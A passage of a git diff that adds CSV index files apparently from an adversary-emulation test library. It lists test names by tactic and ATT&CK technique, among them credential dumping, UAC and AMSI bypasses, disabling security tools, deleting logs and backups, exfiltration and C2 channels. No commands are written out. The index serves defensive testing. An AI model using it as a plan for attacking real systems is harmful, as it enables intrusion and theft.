Bookmark JSON Files on macOS +discovery,T1083,3,Nix File and Diectory Discovery +discovery,T1083,4,Nix File and Directory Discovery 2 +discovery,T1046,1,Port Scan +discovery,T1046,2,Port Scan Nmap +discovery,T1135,1,Network Share Discovery +discovery,T1040,2,Packet Capture macOS +discovery,T1201,7,Examine password policy - macOS +discovery,T1069,1,Permission Groups Discovery +discovery,T1057,1,Process Discovery - ps +discovery,T1018,6,Remote System Discovery - arp nix +discovery,T1018,7,Remote System Discovery - sweep +discovery,T1063,3,Security Software Discovery - ps +discovery,T1082,2,System Information Discovery +discovery,T1082,3,List OS Information +discovery,T1082,7,Hostname Discovery +discovery,T1016,3,System Network Configuration Discovery +discovery,T1049,3,System Network Connections Discovery Linux & MacOS +discovery,T1033,2,System Owner/User Discovery +execution,T1155,1,AppleScript +execution,T1059,1,Command-Line Interface +execution,T1152,1,Launchctl +execution,T1168,1,Cron - Replace crontab with referenced file +execution,T1168,2,Cron - Add script to cron folder +execution,T1168,3,Event Monitor Daemon Persistence +execution,T1064,1,Create and Execute Bash Shell Script +execution,T1153,1,Execute Script using Source +execution,T1153,2,Execute Script using Source Alias +execution,T1151,1,Space After Filename +execution,T1154,1,Trap +lateral-movement,T1155,1,AppleScript +lateral-movement,T1037,3,Logon Scripts - Mac +lateral-movement,T1105,1,rsync remote file copy (push) +lateral-movement,T1105,2,rsync remote file copy (pull) +lateral-movement,T1105,3,scp remote file copy (push) +lateral-movement,T1105,4,scp remote file copy (pull) +lateral-movement,T1105,5,sftp remote file copy (push) +lateral-movement,T1105,6,sftp remote file copy (pull) +collection,T1074,2,Stage data from Discovery.sh +collection,T1005,1,Search macOS Safari Cookies +collection,T1113,1,Screencapture +collection,T1113,2,Screencapture (silent) +exfiltration,T1002,3,Data Compressed - nix - zip +exfiltration,T1002,4,Data Compressed - nix - gzip Single File +exfiltration,T1002,5,Data Compressed - nix - tar Folder or File +exfiltration,T1022,1,Data Encrypted with zip and gpg symmetric +exfiltration,T1030,1,Data Transfer Size Limits +exfiltration,T1048,1,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,2,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,3,Exfiltration Over Alternative Protocol - HTTP +credential-access,T1139,1,Search Through Bash History +credential-access,T1081,1,Extract Browser and System credentials with LaZagne +credential-access,T1081,2,Extract passwords with grep +credential-access,T1141,1,AppleScript - Prompt User for Password +credential-access,T1142,1,Keychain +credential-access,T1040,2,Packet Capture macOS +credential-access,T1145,2,Discover Private SSH Keys +credential-access,T1145,4,Copy Private SSH Keys with rsync +defense-evasion,T1009,1,Pad Binary to Change Hash - Linux/macOS dd +defense-evasion,T1146,1,Clear Bash history (rm) +defense-evasion,T1146,2,Clear Bash history (echo) +defense-evasion,T1146,3,Clear Bash history (cat dev/null) +defense-evasion,T1146,4,Clear Bash history (ln dev/null) +defense-evasion,T1146,6,Clear history of a bunch of shells +defense-evasion,T1090,1,Connection Proxy +defense-evasion,T1089,5,Disable Carbon Black Response +defense-evasion,T1089,6,Disable LittleSnitch +defense-evasion,T1089,7,Disable OpenDNS Umbrella +defense-evasion,T1107,1,Delete a single file - Linux/macOS +defense-evasion,T1107,2,Delete an entire folder - Linux/macOS +defense-evasion,T1107,14,Delete TeamViewer Log Files +defense-evasion,T1222,8,chmod - Change file or folder mode (numeric mode) +defense-evasion,T1222,9,chmod - Change file or folder mode (symbolic mode) +defense-evasion,T1222,10,chmod - Change file or folder mode (numeric mode) recursively +defense-evasion,T1222,11,chmod - Change file or folder mode (symbolic mode) recursively +defense-evasion,T1222,12,chown - Change file or folder ownership and group +defense-evasion,T1222,13,chown - Change file or folder ownership and group recursively +defense-evasion,T1222,14,chown - Change file or folder mode ownership only +defense-evasion,T1222,15,chown - Change file or folder ownership recursively +defense-evasion,T1222,16,chattr - Remove immutable file attribute +defense-evasion,T1144,1,Gatekeeper Bypass +defense-evasion,T1148,1,Disable history collection +defense-evasion,T1148,2,Mac HISTCONTROL +defense-evasion,T1158,1,Create a hidden file in a hidden directory +defense-evasion,T1158,2,Mac Hidden file +defense-evasion,T1158,5,Hidden files +defense-evasion,T1158,6,Hide a Directory +defense-evasion,T1158,7,Show all hidden files +defense-evasion,T1147,1,Hidden Users +defense-evasion,T1070,3,rm -rf +defense-evasion,T1152,1,Launchctl +defense-evasion,T1027,1,Decode base64 Data into Script +defense-evasion,T1150,1,Plist Modification +defense-evasion,T1064,1,Create and Execute Bash Shell Script +defense-evasion,T1151,1,Space After Filename +defense-evasion,T1099,1,Set a file's access timestamp +defense-evasion,T1099,2,Set a file's modification timestamp +defense-evasion,T1099,3,Set a file's creation timestamp +defense-evasion,T1099,4,Modify file timestamps using reference file +command-and-control,T1090,1,Connection Proxy +command-and-control,T1132,1,Base64 Encoded data. +command-and-control,T1105,1,rsync remote file copy (push) +command-and-control,T1105,2,rsync remote file copy (pull) +command-and-control,T1105,3,scp remote file copy (push) +command-and-control,T1105,4,scp remote file copy (pull) +command-and-control,T1105,5,sftp remote file copy (push) +command-and-control,T1105,6,sftp remote file copy (pull) +command-and-control,T1071,3,Malicious User Agents - Nix +command-and-control,T1065,2,Testing usage of uncommonly used port +privilege-escalation,T1519,1,Persistance with Event Monitor - emond +privilege-escalation,T1160,1,Launch Daemon +privilege-escalation,T1150,1,Plist Modification +privilege-escalation,T1166,1,Make and modify binary from C source +privilege-escalation,T1166,2,Set a SetUID flag on file +privilege-escalation,T1166,3,Set a SetGID flag on file +privilege-escalation,T1165,1,add file to Local Library StartupItems +privilege-escalation,T1169,1,Sudo usage +privilege-escalation,T1206,1,Unlimited sudo cache timeout +privilege-escalation,T1206,2,Disable tty_tickets for sudo caching diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv new file mode 100644 index 00000000..9ffb3634 --- /dev/null +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -0,0 +1,461 @@ +Tactic,Technique #,Test #,Test Name +defense-evasion,T1197,1,Bitsadmin Download (cmd) +defense-evasion,T1197,2,Bitsadmin Download (PowerShell) +defense-evasion,T1197,3,"Persist, Download, & Execute" +defense-evasion,T1088,1,Bypass UAC using Event Viewer (cmd) +defense-evasion,T1088,2,Bypass UAC using Event Viewer (PowerShell) +defense-evasion,T1088,3,Bypass UAC using Fodhelper +defense-evasion,T1088,4,Bypass UAC using Fodhelper - PowerShell +defense-evasion,T1088,5,Bypass UAC using ComputerDefaults (PowerShell) +defense-evasion,T1088,6,Bypass UAC by Mocking Trusted Directories +defense-evasion,T1191,1,CMSTP Executing Remote Scriptlet +defense-evasion,T1191,2,CMSTP Executing UAC Bypass +defense-evasion,T1500,1,Compile After Delivery using csc.exe +defense-evasion,T1223,1,Compiled HTML Help Local Payload +defense-evasion,T1223,2,Compiled HTML Help Remote Payload +defense-evasion,T1090,2,portproxy reg key +defense-evasion,T1196,1,Control Panel Items +defense-evasion,T1207,1,DCShadow - Mimikatz +defense-evasion,T1038,1,DLL Search Order Hijacking - amsi.dll +defense-evasion,T1073,1,DLL Side-Loading using the Notepad++ GUP.exe binary +defense-evasion,T1140,1,Deobfuscate/Decode Files Or Information +defense-evasion,T1140,2,Certutil Rename and Decode +defense-evasion,T1089,8,Unload Sysmon Filter Driver +defense-evasion,T1089,9,Disable Windows IIS HTTP Logging +defense-evasion,T1089,10,Uninstall Sysmon +defense-evasion,T1089,11,AMSI Bypass - AMSI InitFailed +defense-evasion,T1089,12,AMSI Bypass - Remove AMSI Provider Reg Key +defense-evasion,T1089,13,Disable Arbitrary Security Windows Service +defense-evasion,T1089,14,Disable PowerShell Script Block Logging +defense-evasion,T1089,15,PowerShell Bypass of AntiMalware Scripting Interface +defense-evasion,T1089,16,Tamper with Windows Defender ATP PowerShell +defense-evasion,T1089,17,Tamper with Windows Defender Command Prompt +defense-evasion,T1089,18,Tamper with Windows Defender Registry +defense-evasion,T1089,19,Disable Microft Office Security Features +defense-evasion,T1089,20,Remove Windows Defender Definition Files +defense-evasion,T1107,4,Delete a single file - Windows cmd +defense-evasion,T1107,5,Delete an entire folder - Windows cmd +defense-evasion,T1107,6,Delete a single file - Windows PowerShell +defense-evasion,T1107,7,Delete an entire folder - Windows PowerShell +defense-evasion,T1107,8,Delete VSS - vssadmin +defense-evasion,T1107,9,Delete VSS - wmic +defense-evasion,T1107,10,bcdedit +defense-evasion,T1107,11,wbadmin +defense-evasion,T1107,13,Delete-PrefetchFile +defense-evasion,T1107,14,Delete TeamViewer Log Files +defense-evasion,T1222,1,Take ownership using takeown utility +defense-evasion,T1222,2,Take ownership recursively using takeown utility +defense-evasion,T1222,3,cacls - Grant permission to specified user or group +defense-evasion,T1222,4,cacls - Grant permission to specified user or group recursively +defense-evasion,T1222,5,icacls - Grant permission to specified user or group +defense-evasion,T1222,6,icacls - Grant permission to specified user or group recursively +defense-evasion,T1222,7,attrib - Remove read-only attribute +defense-evasion,T1158,3,Create Windows System File with Attrib +defense-evasion,T1158,4,Create Windows Hidden File with Attrib +defense-evasion,T1158,8,Create ADS command prompt +defense-evasion,T1158,9,Create ADS PowerShell +defense-evasion,T1143,1,Hidden Window +defense-evasion,T1183,1,IFEO Add Debugger +defense-evasion,T1183,2,IFEO Global Flags +defense-evasion,T1070,1,Clear Logs +defense-evasion,T1070,2,FSUtil +defense-evasion,T1070,6,Delete System Logs Using PowerShell +defense-evasion,T1070,7,Delete System Logs Using Clear-EventLogId +defense-evasion,T1202,1,Indirect Command Execution - pcalua.exe +defense-evasion,T1202,2,Indirect Command Execution - forfiles.exe +defense-evasion,T1118,1,CheckIfInstallable method call +defense-evasion,T1118,2,InstallHelper method call +defense-evasion,T1118,3,InstallUtil class constructor method call +defense-evasion,T1118,4,InstallUtil Install method call +defense-evasion,T1118,5,InstallUtil Uninstall method call - /U variant +defense-evasion,T1118,6,InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant +defense-evasion,T1118,7,InstallUtil HelpText method call +defense-evasion,T1118,8,InstallUtil evasive invocation +defense-evasion,T1036,1,Masquerading as Windows LSASS process +defense-evasion,T1036,3,Masquerading - cscript.exe running as notepad.exe +defense-evasion,T1036,4,Masquerading - wscript.exe running as svchost.exe +defense-evasion,T1036,5,Masquerading - powershell.exe running as taskhostw.exe +defense-evasion,T1036,6,Masquerading - non-windows exe running as windows exe +defense-evasion,T1036,7,Masquerading - windows exe running as different windows exe +defense-evasion,T1036,8,Malicious process Masquerading as LSM.exe +defense-evasion,T1112,1,Modify Registry of Current User Profile - cmd +defense-evasion,T1112,2,Modify Registry of Local Machine - cmd +defense-evasion,T1112,3,Modify Registry of Another User Profile +defense-evasion,T1112,4,Modify registry to store logon credentials +defense-evasion,T1112,5,Modify registry to store PowerShell code +defense-evasion,T1112,6,Add domain to Trusted sites Zone +defense-evasion,T1112,7,Javascript in registry +defense-evasion,T1170,1,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject +defense-evasion,T1170,2,Mshta calls a local VBScript file to launch notepad.exe +defense-evasion,T1170,3,Mshta executes VBScript to execute malicious command +defense-evasion,T1170,4,Mshta Executes Remote HTML Application (HTA) +defense-evasion,T1096,1,Alternate Data Streams (ADS) +defense-evasion,T1096,2,Store file in Alternate Data Stream (ADS) +defense-evasion,T1126,1,Add Network Share +defense-evasion,T1126,2,Remove Network Share +defense-evasion,T1126,3,Remove Network Share PowerShell +defense-evasion,T1027,2,Execute base64-encoded PowerShell +defense-evasion,T1027,3,Execute base64-encoded PowerShell from Windows Registry +defense-evasion,T1502,1,Parent PID Spoofing using PowerShell +defense-evasion,T1093,1,Process Hollowing using PowerShell +defense-evasion,T1055,1,Process Injection via mavinject.exe +defense-evasion,T1055,2,Process Injection via PowerSploit +defense-evasion,T1055,5,Process Injection via C# +defense-evasion,T1055,6,svchost writing a file to a UNC path +defense-evasion,T1121,1,Regasm Uninstall Method Call Test +defense-evasion,T1121,2,Regsvs Uninstall Method Call Test +defense-evasion,T1117,1,Regsvr32 local COM scriptlet execution +defense-evasion,T1117,2,Regsvr32 remote COM scriptlet execution +defense-evasion,T1117,3,Regsvr32 local DLL execution +defense-evasion,T1014,3,Windows Signed Driver Rootkit Test +defense-evasion,T1085,1,Rundll32 execute JavaScript Remote Payload With GetObject +defense-evasion,T1085,2,Rundll32 execute VBscript command +defense-evasion,T1085,3,Rundll32 advpack.dll Execution +defense-evasion,T1085,4,Rundll32 ieadvpack.dll Execution +defense-evasion,T1085,5,Rundll32 syssetup.dll Execution +defense-evasion,T1085,6,Rundll32 setupapi.dll Execution +defense-evasion,T1064,2,Create and Execute Batch Script +defense-evasion,T1218,1,mavinject - Inject DLL into running process +defense-evasion,T1218,2,SyncAppvPublishingServer - Execute arbitrary PowerShell code +defense-evasion,T1218,3,Register-CimProvider - Execute evil dll +defense-evasion,T1218,4,Msiexec.exe - Execute Local MSI file +defense-evasion,T1218,5,Msiexec.exe - Execute Remote MSI file +defense-evasion,T1218,6,Msiexec.exe - Execute Arbitrary DLL +defense-evasion,T1218,7,Odbcconf.exe - Execute Arbitrary DLL +defense-evasion,T1218,8,InfDefaultInstall.exe .inf Execution +defense-evasion,T1216,1,PubPrn.vbs Signed Script Bypass +defense-evasion,T1216,2,SyncAppvPublishingServer Signed Script PowerShell Command Execution +defense-evasion,T1216,3,manage-bde.wsf Signed Script Command Execution +defense-evasion,T1099,5,Windows - Modify file creation timestamp with PowerShell +defense-evasion,T1099,6,Windows - Modify file last modified timestamp with PowerShell +defense-evasion,T1099,7,Windows - Modify file last access timestamp with PowerShell +defense-evasion,T1127,1,MSBuild Bypass Using Inline Tasks +defense-evasion,T1102,1,Reach out to C2 Pointer URLs via command_prompt +defense-evasion,T1102,2,Reach out to C2 Pointer URLs via powershell +defense-evasion,T1220,1,MSXSL Bypass using local files +defense-evasion,T1220,2,MSXSL Bypass using remote files +defense-evasion,T1220,3,WMIC bypass using local XSL file +defense-evasion,T1220,4,WMIC bypass using remote XSL file +privilege-escalation,T1015,1,Attaches Command Prompt as a Debugger to a List of Target Processes +privilege-escalation,T1103,1,Install AppInit Shim +privilege-escalation,T1138,1,Application Shim Installation +privilege-escalation,T1138,2,New shim database files created in the default shim database directory +privilege-escalation,T1138,3,Registry key creation and/or modification events for SDB +privilege-escalation,T1088,1,Bypass UAC using Event Viewer (cmd) +privilege-escalation,T1088,2,Bypass UAC using Event Viewer (PowerShell) +privilege-escalation,T1088,3,Bypass UAC using Fodhelper +privilege-escalation,T1088,4,Bypass UAC using Fodhelper - PowerShell +privilege-escalation,T1088,5,Bypass UAC using ComputerDefaults (PowerShell) +privilege-escalation,T1088,6,Bypass UAC by Mocking Trusted Directories +privilege-escalation,T1038,1,DLL Search Order Hijacking - amsi.dll +privilege-escalation,T1044,1,File System Permissions Weakness +privilege-escalation,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +privilege-escalation,T1183,1,IFEO Add Debugger +privilege-escalation,T1183,2,IFEO Global Flags +privilege-escalation,T1050,1,Service Installation +privilege-escalation,T1050,2,Service Installation PowerShell +privilege-escalation,T1502,1,Parent PID Spoofing using PowerShell +privilege-escalation,T1504,1,Append malicious start-process cmdlet +privilege-escalation,T1055,1,Process Injection via mavinject.exe +privilege-escalation,T1055,2,Process Injection via PowerSploit +privilege-escalation,T1055,5,Process Injection via C# +privilege-escalation,T1055,6,svchost writing a file to a UNC path +privilege-escalation,T1053,1,At.exe Scheduled task +privilege-escalation,T1053,2,Scheduled task Local +privilege-escalation,T1053,3,Scheduled task Remote +privilege-escalation,T1053,4,Powershell Cmdlet Scheduled Task +privilege-escalation,T1058,1,Service Registry Permissions Weakness +privilege-escalation,T1100,1,Web Shell Written to Disk +persistence,T1015,1,Attaches Command Prompt as a Debugger to a List of Target Processes +persistence,T1098,1,Admin Account Manipulate +persistence,T1103,1,Install AppInit Shim +persistence,T1138,1,Application Shim Installation +persistence,T1138,2,New shim database files created in the default shim database directory +persistence,T1138,3,Registry key creation and/or modification events for SDB +persistence,T1197,1,Bitsadmin Download (cmd) +persistence,T1197,2,Bitsadmin Download (PowerShell) +persistence,T1197,3,"Persist, Download, & Execute" +persistence,T1176,1,Chrome (Developer Mode) +persistence,T1176,2,Chrome (Chrome Web Store) +persistence,T1176,3,Firefox +persistence,T1042,1,Change Default File Association +persistence,T1136,3,Create a new user in a command prompt +persistence,T1136,4,Create a new user in PowerShell +persistence,T1038,1,DLL Search Order Hijacking - amsi.dll +persistence,T1044,1,File System Permissions Weakness +persistence,T1158,3,Create Windows System File with Attrib +persistence,T1158,4,Create Windows Hidden File with Attrib +persistence,T1158,8,Create ADS command prompt +persistence,T1158,9,Create ADS PowerShell +persistence,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +persistence,T1062,1,Installing Hyper-V Feature +persistence,T1183,1,IFEO Add Debugger +persistence,T1183,2,IFEO Global Flags +persistence,T1037,1,Logon Scripts +persistence,T1037,2,Scheduled Task Startup Script +persistence,T1037,4,Supicious vbs file run from startup Folder +persistence,T1037,5,Supicious jse file run from startup Folder +persistence,T1037,6,Supicious bat file run from startup Folder +persistence,T1031,1,Modify Fax service to run PowerShell +persistence,T1128,1,Netsh Helper DLL Registration +persistence,T1050,1,Service Installation +persistence,T1050,2,Service Installation PowerShell +persistence,T1137,1,DDEAUTO +persistence,T1504,1,Append malicious start-process cmdlet +persistence,T1060,1,Reg Key Run +persistence,T1060,2,Reg Key RunOnce +persistence,T1060,3,PowerShell Registry RunOnce +persistence,T1053,1,At.exe Scheduled task +persistence,T1053,2,Scheduled task Local +persistence,T1053,3,Scheduled task Remote +persistence,T1053,4,Powershell Cmdlet Scheduled Task +persistence,T1180,1,Set Arbitrary Binary as Screensaver +persistence,T1101,1,Modify SSP configuration in registry +persistence,T1505,1,Install MS Exchange Transport Agent Persistence +persistence,T1058,1,Service Registry Permissions Weakness +persistence,T1023,1,Shortcut Modification +persistence,T1023,2,Create shortcut to cmd in startup folders +persistence,T1100,1,Web Shell Written to Disk +persistence,T1084,1,Persistence +persistence,T1004,1,Winlogon Shell Key Persistence - PowerShell +persistence,T1004,2,Winlogon Userinit Key Persistence - PowerShell +persistence,T1004,3,Winlogon Notify Key Logon Persistence - PowerShell +impact,T1531,1,Change User Password - Windows +impact,T1531,2,Delete User - Windows +impact,T1485,1,Windows - Delete Volume Shadow Copies +impact,T1485,2,Windows - Delete Windows Backup Catalog +impact,T1485,3,Windows - Disable Windows Recovery Console Repair +impact,T1485,4,Windows - Overwrite file with Sysinternals SDelete +impact,T1485,6,Windows - Delete Backup Files +impact,T1490,1,Windows - Delete Volume Shadow Copies +impact,T1490,2,Windows - Delete Volume Shadow Copies via WMI +impact,T1490,3,Windows - Delete Windows Backup Catalog +impact,T1490,4,Windows - Disable Windows Recovery Console Repair +impact,T1490,5,Windows - Delete Volume Shadow Copies via WMI with PowerShell +impact,T1489,1,Windows - Stop service using Service Controller +impact,T1489,2,Windows - Stop service using net.exe +impact,T1489,3,Windows - Stop service by killing process +impact,T1529,1,Shutdown System - Windows +impact,T1529,2,Restart System - Windows +discovery,T1087,8,Enumerate all accounts +discovery,T1087,9,Enumerate all accounts via PowerShell +discovery,T1087,10,Enumerate logged on users +discovery,T1087,11,Enumerate logged on users via PowerShell +discovery,T1010,1,List Process Main Windows - C# .NET +discovery,T1217,4,List Google Chrome Bookmarks on Windows with powershell +discovery,T1217,5,List Google Chrome Bookmarks on Windows with command prompt +discovery,T1482,1,Windows - Discover domain trusts with dsquery +discovery,T1482,2,Windows - Discover domain trusts with nltest +discovery,T1482,3,Powershell enumerate domains and forests +discovery,T1083,1,File and Directory Discovery (cmd.exe) +discovery,T1083,2,File and Directory Discovery (PowerShell) +discovery,T1135,2,Network Share Discovery command prompt +discovery,T1135,3,Network Share Discovery PowerShell +discovery,T1135,4,View available share drives +discovery,T1040,3,Packet Capture Windows Command Prompt +discovery,T1040,4,Packet Capture PowerShell +discovery,T1201,5,Examine local password policy - Windows +discovery,T1201,6,Examine domain password policy - Windows +discovery,T1069,2,Basic Permission Groups Discovery Windows +discovery,T1069,3,Permission Groups Discovery PowerShell +discovery,T1069,4,Elevated group enumeration using net group +discovery,T1057,2,Process Discovery - tasklist +discovery,T1012,1,Query Registry +discovery,T1018,1,Remote System Discovery - net +discovery,T1018,2,Remote System Discovery - net group Domain Computers +discovery,T1018,3,Remote System Discovery - nltest +discovery,T1018,4,Remote System Discovery - ping sweep +discovery,T1018,5,Remote System Discovery - arp +discovery,T1018,8,Remote System Discovery - nslookup +discovery,T1063,1,Security Software Discovery +discovery,T1063,2,Security Software Discovery - powershell +discovery,T1063,4,Security Software Discovery - Sysmon Service +discovery,T1063,5,Security Software Discovery - AV Discovery via WMI +discovery,T1518,1,Find and Display Internet Explorer Browser Version +discovery,T1518,2,Applications Installed +discovery,T1082,1,System Information Discovery +discovery,T1082,6,Hostname Discovery (Windows) +discovery,T1082,8,Windows MachineGUID Discovery +discovery,T1016,1,System Network Configuration Discovery +discovery,T1016,2,List Windows Firewall Rules +discovery,T1016,4,System Network Configuration Discovery (TrickBot Style) +discovery,T1016,5,List Open Egress Ports +discovery,T1049,1,System Network Connections Discovery +discovery,T1049,2,System Network Connections Discovery with PowerShell +discovery,T1033,1,System Owner/User Discovery +discovery,T1007,1,System Service Discovery +discovery,T1007,2,System Service Discovery - net.exe +discovery,T1124,1,System Time Discovery +discovery,T1124,2,System Time Discovery - PowerShell +credential-access,T1098,1,Admin Account Manipulate +credential-access,T1110,1,Brute Force Credentials +credential-access,T1003,1,Powershell Mimikatz +credential-access,T1003,2,Gsecdump +credential-access,T1003,3,Windows Credential Editor +credential-access,T1003,4,"Registry dump of SAM, creds, and secrets" +credential-access,T1003,5,Dump LSASS.exe Memory using ProcDump +credential-access,T1003,6,Dump LSASS.exe Memory using Windows Task Manager +credential-access,T1003,7,Offline Credential Theft With Mimikatz +credential-access,T1003,8,Dump Active Directory Database with NTDSUtil +credential-access,T1003,9,Create Volume Shadow Copy with NTDS.dit +credential-access,T1003,10,Copy NTDS.dit from Volume Shadow Copy +credential-access,T1003,11,GPP Passwords (findstr) +credential-access,T1003,12,GPP Passwords (Get-GPPPassword) +credential-access,T1003,13,LSASS read with pypykatz +credential-access,T1003,14,Registry parse with pypykatz +credential-access,T1081,3,Extracting passwords with findstr +credential-access,T1081,4,Access unattend.xml +credential-access,T1214,1,Enumeration for Credentials in Registry +credential-access,T1214,2,Enumeration for PuTTY Credentials in Registry +credential-access,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +credential-access,T1056,1,Input Capture +credential-access,T1141,2,PowerShell - Prompt User for Password +credential-access,T1208,1,Request for service tickets +credential-access,T1040,3,Packet Capture Windows Command Prompt +credential-access,T1040,4,Packet Capture PowerShell +credential-access,T1174,1,Install and Register Password Filter DLL +credential-access,T1145,1,Private Keys +lateral-movement,T1037,1,Logon Scripts +lateral-movement,T1037,2,Scheduled Task Startup Script +lateral-movement,T1037,4,Supicious vbs file run from startup Folder +lateral-movement,T1037,5,Supicious jse file run from startup Folder +lateral-movement,T1037,6,Supicious bat file run from startup Folder +lateral-movement,T1075,1,Mimikatz Pass the Hash +lateral-movement,T1075,2,crackmapexec Pass the Hash +lateral-movement,T1097,1,Mimikatz Kerberos Ticket Attack +lateral-movement,T1076,1,RDP +lateral-movement,T1076,2,RDPto-DomainController +lateral-movement,T1105,7,certutil download (urlcache) +lateral-movement,T1105,8,certutil download (verifyctl) +lateral-movement,T1105,9,Windows - BITSAdmin BITS Download +lateral-movement,T1105,10,Windows - PowerShell Download +lateral-movement,T1105,11,OSTAP Worming Activity +lateral-movement,T1077,1,Map admin share +lateral-movement,T1077,2,Map Admin Share PowerShell +lateral-movement,T1077,3,Copy and Execute File with PsExec +lateral-movement,T1077,4,Execute command writing output to local Admin Share +lateral-movement,T1028,1,Enable Windows Remote Management +lateral-movement,T1028,2,PowerShell Lateral Movement +lateral-movement,T1028,3,WMIC Process Call Create +lateral-movement,T1028,4,Psexec +lateral-movement,T1028,5,Invoke-Command +collection,T1123,1,using device audio capture commandlet +collection,T1119,1,Automated Collection Command Prompt +collection,T1119,2,Automated Collection PowerShell +collection,T1119,3,Recon information for export with PowerShell +collection,T1119,4,Recon information for export with Command Prompt +collection,T1115,1,Utilize Clipboard to store or execute commands from +collection,T1115,2,PowerShell +collection,T1074,1,Stage data from Discovery.bat +collection,T1074,3,Zip a Folder with PowerShell for Staging in Temp +collection,T1114,1,T1114 Email Collection with PowerShell +collection,T1056,1,Input Capture +exfiltration,T1002,1,Compress Data for Exfiltration With PowerShell +exfiltration,T1002,2,Compress Data for Exfiltration With Rar +exfiltration,T1022,2,Compress Data and lock with password for Exfiltration with winrar +exfiltration,T1022,3,Compress Data and lock with password for Exfiltration with winzip +exfiltration,T1022,4,Compress Data and lock with password for Exfiltration with 7zip +exfiltration,T1048,4,Exfiltration Over Alternative Protocol - ICMP +execution,T1191,1,CMSTP Executing Remote Scriptlet +execution,T1191,2,CMSTP Executing UAC Bypass +execution,T1223,1,Compiled HTML Help Local Payload +execution,T1223,2,Compiled HTML Help Remote Payload +execution,T1196,1,Control Panel Items +execution,T1173,1,Execute Commands +execution,T1173,2,Execute PowerShell script via Word DDE +execution,T1118,1,CheckIfInstallable method call +execution,T1118,2,InstallHelper method call +execution,T1118,3,InstallUtil class constructor method call +execution,T1118,4,InstallUtil Install method call +execution,T1118,5,InstallUtil Uninstall method call - /U variant +execution,T1118,6,InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant +execution,T1118,7,InstallUtil HelpText method call +execution,T1118,8,InstallUtil evasive invocation +execution,T1170,1,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject +execution,T1170,2,Mshta calls a local VBScript file to launch notepad.exe +execution,T1170,3,Mshta executes VBScript to execute malicious command +execution,T1170,4,Mshta Executes Remote HTML Application (HTA) +execution,T1086,1,Mimikatz +execution,T1086,2,BloodHound +execution,T1086,3,Obfuscation Tests +execution,T1086,4,Mimikatz - Cradlecraft PsSendKeys +execution,T1086,5,Invoke-AppPathBypass +execution,T1086,6,PowerShell Add User +execution,T1086,7,Powershell MsXml COM object - no prompt +execution,T1086,8,Powershell MsXml COM object - with prompt +execution,T1086,9,Powershell XML requests +execution,T1086,10,Powershell invoke mshta.exe download +execution,T1086,11,Powershell Invoke-DownloadCradle +execution,T1086,12,PowerShell Fileless Script Execution +execution,T1086,13,PowerShell Downgrade Attack +execution,T1086,14,NTFS Alternate Data Stream Access +execution,T1121,1,Regasm Uninstall Method Call Test +execution,T1121,2,Regsvs Uninstall Method Call Test +execution,T1117,1,Regsvr32 local COM scriptlet execution +execution,T1117,2,Regsvr32 remote COM scriptlet execution +execution,T1117,3,Regsvr32 local DLL execution +execution,T1085,1,Rundll32 execute JavaScript Remote Payload With GetObject +execution,T1085,2,Rundll32 execute VBscript command +execution,T1085,3,Rundll32 advpack.dll Execution +execution,T1085,4,Rundll32 ieadvpack.dll Execution +execution,T1085,5,Rundll32 syssetup.dll Execution +execution,T1085,6,Rundll32 setupapi.dll Execution +execution,T1053,1,At.exe Scheduled task +execution,T1053,2,Scheduled task Local +execution,T1053,3,Scheduled task Remote +execution,T1053,4,Powershell Cmdlet Scheduled Task +execution,T1064,2,Create and Execute Batch Script +execution,T1035,1,Execute a Command as a Service +execution,T1035,2,Use PsExec to execute a command on a remote host +execution,T1218,1,mavinject - Inject DLL into running process +execution,T1218,2,SyncAppvPublishingServer - Execute arbitrary PowerShell code +execution,T1218,3,Register-CimProvider - Execute evil dll +execution,T1218,4,Msiexec.exe - Execute Local MSI file +execution,T1218,5,Msiexec.exe - Execute Remote MSI file +execution,T1218,6,Msiexec.exe - Execute Arbitrary DLL +execution,T1218,7,Odbcconf.exe - Execute Arbitrary DLL +execution,T1218,8,InfDefaultInstall.exe .inf Execution +execution,T1216,1,PubPrn.vbs Signed Script Bypass +execution,T1216,2,SyncAppvPublishingServer Signed Script PowerShell Command Execution +execution,T1216,3,manage-bde.wsf Signed Script Command Execution +execution,T1127,1,MSBuild Bypass Using Inline Tasks +execution,T1204,1,OSTap Style Macro Execution +execution,T1204,2,Maldoc choice flags command execution +execution,T1204,3,OSTAP JS version +execution,T1047,1,WMI Reconnaissance Users +execution,T1047,2,WMI Reconnaissance Processes +execution,T1047,3,WMI Reconnaissance Software +execution,T1047,4,WMI Reconnaissance List Remote Services +execution,T1047,5,WMI Execute Local Process +execution,T1047,6,WMI Execute Remote Process +execution,T1028,1,Enable Windows Remote Management +execution,T1028,2,PowerShell Lateral Movement +execution,T1028,3,WMIC Process Call Create +execution,T1028,4,Psexec +execution,T1028,5,Invoke-Command +execution,T1220,1,MSXSL Bypass using local files +execution,T1220,2,MSXSL Bypass using remote files +execution,T1220,3,WMIC bypass using local XSL file +execution,T1220,4,WMIC bypass using remote XSL file +command-and-control,T1090,2,portproxy reg key +command-and-control,T1219,1,TeamViewer Files Detected Test on Windows +command-and-control,T1105,7,certutil download (urlcache) +command-and-control,T1105,8,certutil download (verifyctl) +command-and-control,T1105,9,Windows - BITSAdmin BITS Download +command-and-control,T1105,10,Windows - PowerShell Download +command-and-control,T1105,11,OSTAP Worming Activity +command-and-control,T1071,1,Malicious User Agents - Powershell +command-and-control,T1071,2,Malicious User Agents - CMD +command-and-control,T1071,4,DNS Large Query Volume +command-and-control,T1071,5,DNS Regular Beaconing +command-and-control,T1071,6,DNS Long Domain Query +command-and-control,T1071,7,DNS C2 +command-and-control,T1071,8,OSTap Payload Download +command-and-control,T1032,1,OpenSSL C2 +command-and-control,T1095,1,ICMP C2 +command-and-control,T1095,2,Netcat C2 +command-and-control,T1095,3,Powercat C2 +command-and-control,T1065,1,Testing usage of uncommonly used port with PowerShell +command-and-control,T1102,1,Reach out to C2 